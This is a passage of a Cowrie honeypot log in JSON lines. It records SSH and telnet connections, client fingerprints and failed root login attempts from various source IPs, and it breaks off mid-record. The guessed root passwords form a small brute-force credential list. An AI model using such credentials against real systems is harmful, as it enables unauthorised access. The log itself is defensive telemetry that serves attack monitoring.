{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37206,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce30dba5d952","protocol":"telnet","message":"New connection: 152.42.224.71:37206 (10.17.0.5:23) [session: ce30dba5d952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:42.424922Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:42.678085Z","src_ip":"171.244.37.103","session":"c633f3c42491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37216,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d5fa12b792","protocol":"telnet","message":"New connection: 152.42.224.71:37216 (10.17.0.5:23) [session: 33d5fa12b792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:44.876121Z"}
{"eventid":"cowrie.session.closed","duration":43.16232204437256,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:50.180962Z","src_ip":"152.42.224.71","session":"41ad3c5f1fcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.104997873306274,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:50.443114Z","src_ip":"152.42.224.71","session":"9df2a4c7c258","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36690,"dst_ip":"10.17.0.5","dst_port":23,"session":"edba7116d42f","protocol":"telnet","message":"New connection: 152.42.224.71:36690 (10.17.0.5:23) [session: edba7116d42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:50.663669Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":32820,"dst_ip":"10.17.0.5","dst_port":22,"session":"366b49549e4c","protocol":"ssh","message":"New connection: 103.172.78.219:32820 (10.17.0.5:22) [session: 366b49549e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:55.310738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:55.315830Z","src_ip":"103.172.78.219","session":"366b49549e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":59712,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5f0c730ecad","protocol":"ssh","message":"New connection: 94.159.98.239:59712 (159.203.135.109:22) [session: e5f0c730ecad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:55.334944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:55.354438Z","src_ip":"94.159.98.239","session":"e5f0c730ecad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:55.463935Z","src_ip":"94.159.98.239","session":"e5f0c730ecad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:55.587184Z","src_ip":"103.172.78.219","session":"366b49549e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ckfdbr","message":"login attempt [root/ckfdbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:55.972323Z","src_ip":"94.159.98.239","session":"e5f0c730ecad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234","message":"login attempt [root/asd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:56.394666Z","src_ip":"103.172.78.219","session":"366b49549e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:57.600455Z","src_ip":"94.159.98.239","session":"e5f0c730ecad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:47:57.666537Z","src_ip":"103.172.78.219","session":"366b49549e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.50900197029114,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:00.661511Z","src_ip":"152.42.224.71","session":"6c2cbfd54c79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.714559078216553,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:03.139334Z","src_ip":"152.42.224.71","session":"ce30dba5d952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":56750,"dst_ip":"10.17.0.5","dst_port":22,"session":"19224e2b5238","protocol":"ssh","message":"New connection: 103.149.170.125:56750 (10.17.0.5:22) [session: 19224e2b5238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:04.866014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:04.871042Z","src_ip":"103.149.170.125","session":"19224e2b5238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:05.141710Z","src_ip":"103.149.170.125","session":"19224e2b5238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stepan","message":"login attempt [root/stepan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:05.955737Z","src_ip":"103.149.170.125","session":"19224e2b5238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:07.821965Z","src_ip":"103.149.170.125","session":"19224e2b5238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35434,"dst_ip":"10.17.0.5","dst_port":23,"session":"d807dac1261d","protocol":"telnet","message":"New connection: 152.42.224.71:35434 (10.17.0.5:23) [session: d807dac1261d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:08.917292Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35446,"dst_ip":"10.17.0.5","dst_port":23,"session":"46bcbbffc6df","protocol":"telnet","message":"New connection: 152.42.224.71:35446 (10.17.0.5:23) [session: 46bcbbffc6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:14.001832Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":55456,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc5ff2d11186","protocol":"ssh","message":"New connection: 79.117.24.180:55456 (10.17.0.5:22) [session: bc5ff2d11186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:19.860852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:19.865257Z","src_ip":"79.117.24.180","session":"bc5ff2d11186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:19.969068Z","src_ip":"79.117.24.180","session":"bc5ff2d11186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"peter","message":"login attempt [root/peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:20.417835Z","src_ip":"79.117.24.180","session":"bc5ff2d11186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:21.523337Z","src_ip":"79.117.24.180","session":"bc5ff2d11186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57030,"dst_ip":"10.17.0.5","dst_port":23,"session":"109463090c49","protocol":"telnet","message":"New connection: 152.42.224.71:57030 (10.17.0.5:23) [session: 109463090c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:23.099706Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57034,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cea83de54e5","protocol":"telnet","message":"New connection: 152.42.224.71:57034 (10.17.0.5:23) [session: 2cea83de54e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:23.432078Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57048,"dst_ip":"10.17.0.5","dst_port":23,"session":"17fe23379c5a","protocol":"telnet","message":"New connection: 152.42.224.71:57048 (10.17.0.5:23) [session: 17fe23379c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:25.061818Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57050,"dst_ip":"10.17.0.5","dst_port":23,"session":"93cffab83441","protocol":"telnet","message":"New connection: 152.42.224.71:57050 (10.17.0.5:23) [session: 93cffab83441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:25.198210Z"}
{"eventid":"cowrie.session.closed","duration":47.43195390701294,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:38.095489Z","src_ip":"152.42.224.71","session":"edba7116d42f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":50162,"dst_ip":"10.17.0.5","dst_port":22,"session":"833703d4e005","protocol":"ssh","message":"New connection: 43.156.63.254:50162 (10.17.0.5:22) [session: 833703d4e005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:45.961265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:45.965800Z","src_ip":"43.156.63.254","session":"833703d4e005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:46.203086Z","src_ip":"43.156.63.254","session":"833703d4e005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53386,"dst_ip":"10.17.0.5","dst_port":22,"session":"54b846af454f","protocol":"ssh","message":"New connection: 103.153.68.219:53386 (10.17.0.5:22) [session: 54b846af454f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:47.082509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:47.087195Z","src_ip":"103.153.68.219","session":"54b846af454f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lpadmin","message":"login attempt [root/lpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:47.181017Z","src_ip":"43.156.63.254","session":"833703d4e005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:47.346036Z","src_ip":"103.153.68.219","session":"54b846af454f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:48.423514Z","src_ip":"43.156.63.254","session":"833703d4e005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"445566","message":"login attempt [root/445566] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:48.864244Z","src_ip":"103.153.68.219","session":"54b846af454f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:50.124796Z","src_ip":"103.153.68.219","session":"54b846af454f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37980,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a27e95b9ae7","protocol":"telnet","message":"New connection: 152.42.224.71:37980 (10.17.0.5:23) [session: 8a27e95b9ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:50.922539Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37994,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d5e6fae119","protocol":"telnet","message":"New connection: 152.42.224.71:37994 (10.17.0.5:23) [session: a4d5e6fae119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:51.584807Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":32908,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dfbef0795e3","protocol":"ssh","message":"New connection: 43.134.142.250:32908 (10.17.0.5:22) [session: 9dfbef0795e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:56.570084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:56.574605Z","src_ip":"43.134.142.250","session":"9dfbef0795e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 